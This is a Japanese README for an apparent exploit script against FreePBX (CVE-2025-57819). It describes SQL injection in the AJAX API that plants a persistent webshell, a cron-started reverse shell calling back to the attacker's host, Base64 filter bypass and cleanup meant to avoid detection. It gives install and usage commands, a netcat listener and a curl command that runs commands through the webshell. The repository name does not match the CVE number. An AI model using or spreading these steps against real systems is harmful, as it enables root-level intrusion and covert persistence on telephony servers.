FreePBX CVE-2025-57819 エクスプロイト

説明

このスクリプトは、FreePBX 16.0.26.0 未満のバージョン（CVE-2025-57819）の脆弱性を悪用し、AJAX API エンドポイントの SQL インジェクションの欠陥を介して、リモート攻撃者が任意の PHP コードを実行できるようにします。このエクスプロイトは、ウェブシェルと自動起動するリバースシェルの両方を作成します。

脆弱性の詳細

CVE: CVE-2025-57819
影響を受けるバージョン: FreePBX < 16.0.26.0
影響: リモートコード実行 (RCE)
ベクトル: AJAX API の SQL インジェクション (/admin/ajax.php)

特徴

/pbxshell.php に永続的なウェブシェルを作成
cron ジョブを介して自動起動するリバースシェルをセットアップ
Base64 エンコードされたペイロードを使用してフィルターをバイパス
実行後に cron ジョブを自動クリーンアップ

必要条件

Python 3.x
requests ライブラリ
Netcat（リバースシェルリスナー用）

インストール

git clone https://github.com/jasonbernier/CVE-2025-5781.git
cd CVE-2025-5781
pip install requests

使用方法

python3 exploit.py -H TARGET_HOST -lhost LHOST -lport LPORT

パラメータ:

-H HOST: ターゲットの FreePBX インスタンス（例: https://freepbx.example.com）
-lhost LHOST: リバースシェルのコールバック用のあなたの IP
-lport LPORT: リバースシェル接続用のポート

例:

python3 exploit.py -H https://target.freepbx.com -lhost 10.0.0.1 -lport 4444

エクスプロイトの流れ

SQL インジェクションペイロードを送信してウェブシェルを作成
ウェブシェルが作成されるのを待機（約2分）
cron ジョブを介して自動起動するリバースシェルを作成
指定されたポートで netcat リスナーを起動

ウェブシェルの使用方法

悪用に成功した後、以下のようにウェブシェルにアクセスします:

curl -X GET "http://TARGET/pbxshell.php?cmd=id"

クリーンアップ

このエクスプロイトは、検出を避けるために実行後に cron ジョブを自動的に削除します。

注意事項

このスクリプトは -- を使用して残りの SQL 構文をコメントアウトします
すべてのコマンドは root 権限で実行されます
/var/www/html/ ディレクトリへの書き込みアクセスが必要です

CVE-2025-5781

人気